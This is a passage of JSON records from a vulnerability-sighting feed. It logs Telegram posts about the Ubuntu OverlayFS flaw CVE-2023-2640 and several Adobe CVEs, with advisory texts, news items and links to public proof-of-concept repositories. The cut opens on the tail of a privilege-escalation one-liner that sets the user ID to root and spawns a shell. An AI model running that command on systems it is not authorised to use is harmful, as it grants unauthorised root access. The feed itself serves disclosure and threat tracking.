os;os.setuid(0);os.system(\\\"/bin/bash\\\")'\"\n\n#ubuntu #lpe", "creation_timestamp": "2023-11-10T10:45:01.000000Z"}, {"uuid": "0d6cb8a3-4332-455e-940b-a528e9b34c03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/WBpQ-by4K8KKZ8enRzCN1LJDgV2NUIqq9NMQsH6pg28xUHU", "content": "", "creation_timestamp": "2023-10-13T02:31:45.000000Z"}, {"uuid": "66379756-2f3a-4c62-857a-54f48e0aa99f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "exploited", "source": "https://t.me/true_secator/6124", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b 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\u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Microsoft Office (CVE-2018-0802, CVE-2017-11882\u00a0, CVE-2017-0199\u00a0 \u0438 CVE-2021-40444\u00a0).\n\n\u041d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Linux \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u0435\u0441 Windows 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\u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n2023 \u0433\u043e\u0434 \u0441\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u043c \u0431\u043e\u0433\u0430\u0442\u044b\u043c \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c BYOVD. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 2024-\u0433\u043e \u0438\u0445 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 2021 \u0438 2022 \u0433\u043e\u0434\u044b, \u0432\u043c\u0435\u0441\u0442\u0435 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\u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-08-22T19:40:05.000000Z"}, {"uuid": "4e0c8352-0937-4740-bb44-3a9970792e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/true_secator/4667", "content": "\u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041a\u0430\u043a \u0432\u044b \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0438\u0441\u044c, \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e\u0431 Ubuntu, \u0433\u0434\u0435 \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0438\u0445 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u043a\u043e\u043b\u043e 40 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432.\n\nCVE-2023-32629 \u0438 CVE-2023-2640 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438\u0437 Wiz, \u0437\u0430 \u043f\u043b\u0435\u0447\u0430\u043c\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0430\u0433\u043e\u043d \u0438 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u0442\u0435\u043b\u0435\u0436\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\n\u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u0430\u0433 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Ubuntu \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0432 \u044f\u0434\u0440\u0435 Linux, \u0433\u0434\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a VMA \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f OverlayFS \u0432 \u044f\u0434\u0440\u0435 Linux.\n\nOverlayFS \u2014 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u043c \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u0430\u0432\u043d\u043e \u043f\u043e\u0442\u0438\u0440\u0430\u044e\u0442 \u0440\u0443\u043a\u0438 \u0438\u0437-\u0437\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a.\n\nUbuntu \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0438 \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0434\u0440\u0430, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u0442 \u043d\u0435 \u043b\u043e\u0432\u043a\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430.", "creation_timestamp": "2023-07-28T10:40:05.000000Z"}, {"uuid": "272ad3e2-4eb3-49bf-bb60-1121e573659b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/XokNk1n2AlXvZDyddO7dWwUftfCjHL5RkbanjoRiKPdBCdM", "content": "", "creation_timestamp": "2023-08-15T12:51:17.000000Z"}, {"uuid": "03c7c751-7d4d-4b02-875b-6970da11fde2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cibsecurity/67283", "content": "\u203c CVE-2023-2640 \u203c\n\nOn Ubuntu kernels carrying both c914c0e27eb0 and \"UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs\", an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-26T07:27:21.000000Z"}, {"uuid": "118f0273-33b8-4440-a50b-e8ee049bbef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26402", "type": "seen", "source": "https://t.me/cibsecurity/62040", "content": "\u203c CVE-2023-26402 \u203c\n\nAdobe Substance 3D Stager version 2.0.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T02:29:37.000000Z"}, {"uuid": "f541537a-9126-469c-b04f-a4b687e6b71a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26403", "type": "seen", "source": "https://t.me/cibsecurity/62038", "content": "\u203c CVE-2023-26403 \u203c\n\nAdobe Substance 3D Stager version 2.0.1 (and earlier) is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T02:29:35.000000Z"}, {"uuid": "1b0c07b7-0615-42cf-94d1-1ee65ca67b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26409", "type": "seen", "source": "https://t.me/cibsecurity/62090", "content": "\u203c CVE-2023-26409 \u203c\n\nAdobe Substance 3D Designer version 12.4.0 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-14T00:25:25.000000Z"}, {"uuid": "c57580bf-835f-4fa3-a890-5f2df85eed8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26405", "type": "seen", "source": "https://t.me/cibsecurity/62020", "content": "\u203c CVE-2023-26405 \u203c\n\nAdobe Acrobat Reader versions 23.001.20093 (and earlier) and 20.005.30441 (and earlier) are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T00:24:30.000000Z"}, {"uuid": "f5f806d9-1a82-41d5-9946-f46cfd950f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26404", "type": "seen", "source": "https://t.me/cibsecurity/62017", "content": "\u203c CVE-2023-26404 \u203c\n\nAdobe Dimension version 3.4.8 (and earlier) is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T00:24:27.000000Z"}, {"uuid": "480baf91-07e8-4c04-abfa-4655c9ed2972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26408", "type": "seen", "source": "https://t.me/cibsecurity/62016", "content": "\u203c CVE-2023-26408 \u203c\n\nAdobe Acrobat Reader versions 23.001.20093 (and earlier) and 20.005.30441 (and earlier) are affected by an Improper Access Control vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T00:24:23.000000Z"}, {"uuid": "edd30665-d8cd-4240-994d-007b9b99d222", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-26406", "type": "seen", "source": "https://t.me/cibsecurity/62025", "content": "\u203c CVE-2023-26406 \u203c\n\nAdobe Acrobat Reader versions 23.001.20093 (and earlier) and 20.005.30441 (and earlier) are affected by an Improper Access Control vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-13T00:24:38.000000Z"}, {"uuid": "b253213d-5857-43be-aeba-4488a555d8ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/information_security_channel/50345", "content": "Two New Vulnerabilities Could affect 40% of Ubuntu Cloud Workloads\nhttps://www.securityweek.com/two-new-vulnerabilities-could-affect-40-of-ubuntu-cloud-workloads/\n\nResearchers discovered two vulnerabilities in the Ubuntu OverlayFS module: CVE-2023-2640 and CVE-2023-32629 (together dubbed \u2018GameOver(lay)\u2019).\nThe post Two New Vulnerabilities Could affect 40% of Ubuntu Cloud Workloads (https://www.securityweek.com/two-new-vulnerabilities-could-affect-40-of-ubuntu-cloud-workloads/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-07-27T17:41:47.000000Z"}, {"uuid": "abfff822-2051-4106-8288-5b69c5ae8241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/thehackernews/3659", "content": "\ud83d\udea8 Heads up, Ubuntu users! \n \nResearchers have discovered high-severity Linux flaws in the Ubuntu kernel, affecting 40% of users! \n \nLearn about GameOver(lay) vulnerabilities CVE-2023-32629 and CVE-2023-2640: https://thehackernews.com/2023/07/gameoverlay-two-severe-linux.html", "creation_timestamp": "2023-07-27T15:34:09.000000Z"}, {"uuid": "4f8660b2-38c8-449e-b22f-fb87e4a2bebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/15578", "content": "HTB Analytics. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0431\u0430\u0433 \u0432 OverlayFS, \u0447\u0442\u043e\u0431\u044b \u0441\u0431\u0435\u0436\u0430\u0442\u044c \u0438\u0437 Docker #\u0441\u0442\u0430\u0442\u044c\u0438 #\u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0430\u043c\n\n\u0412 \u044d\u0442\u043e\u043c \u0440\u0430\u0439\u0442\u0430\u043f\u0435 \u044f \u043f\u043e\u043a\u0430\u0436\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-2640\u00a0\u0432\u00a0\u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 OverlayFS \u0434\u043b\u044f\u00a0Linux, \u043d\u043e\u00a0\u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 Metabase, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0445\u043e\u0441\u0442\u0443.\n\nhttps://xakep.ru/2024/03/25/htb-analytics/", "creation_timestamp": "2024-03-25T15:33:18.000000Z"}, {"uuid": "7fc6d776-774a-421b-9af2-9ce3de7452cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1264", "content": "https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629\nGameOver(lay) Ubuntu Privilege Escalation\n#github #\u63d0\u6743", "creation_timestamp": "2023-10-11T10:45:51.000000Z"}, {"uuid": "f8302786-58f5-4963-b5cf-8c8364aea767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1494", "content": "https://gist.github.com/win3zz/aa1ac16c4458aaaec6dd79343b8cd46f\n\nCVE-2023-2640 and CVE-2023-32629", "creation_timestamp": "2023-11-12T07:35:39.000000Z"}, {"uuid": "91e181a6-c35e-43a9-8d53-0665d5a7b341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9175", "content": "#exploit\n1. CVE-2023-43641:\n1-Click RCE on GNOME (libcue)\nhttps://github.blog/2023-10-09-coordinated-disclosure-1-click-rce-on-gnome-cve-2023-43641\n\n2. CVE-2022-4908:\nSOP bypass in Chrome using Navigation API\nhttps://joaxcar.com/blog/2023/10/06/cve-2022-4908-sop-bypass-in-chrome-using-navigation-api\n\n3. CVE-2023-2640, CVE-2023-32629:\n\"GameOver(lay)\" Ubuntu Privilege Escalation\nhttps://github.com/g1vi/CVE-2023-2640-CVE-2023-32629", "creation_timestamp": "2025-01-24T11:06:04.000000Z"}, {"uuid": "0fe8d830-9521-4f04-94ab-3d6368fd9adf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9367", "content": "#exploit\n1. CVE-2023-32629:\nUbuntu Privilege Escalation bash one-liner\nhttps://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation\n\n2. Unpatched Powerful SSRF in Exchange OWA - Getting Response Through Attachments\nhttps://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments\n\n3. Container Vulnerability Exploits\nhttps://github.com/h4ckm310n/Container-Vulnerability-Exploit", "creation_timestamp": "2023-11-10T13:37:01.000000Z"}, {"uuid": "ec18ec5e-48d6-4622-903a-a98e8647a19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "Telegram/G4AW0LQIV4iuRpDrb2tyJjepniTBL8IjKjVA3meJv4H2Zps", "content": "", "creation_timestamp": "2023-11-14T03:53:03.000000Z"}, {"uuid": "a83b154b-4926-46b6-86bd-a2f65c719721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1327", "content": "#exploit\n1. CVE-2023-43641:\n1-Click RCE on GNOME (libcue)\nhttps://github.blog/2023-10-09-coordinated-disclosure-1-click-rce-on-gnome-cve-2023-43641\n\n2. 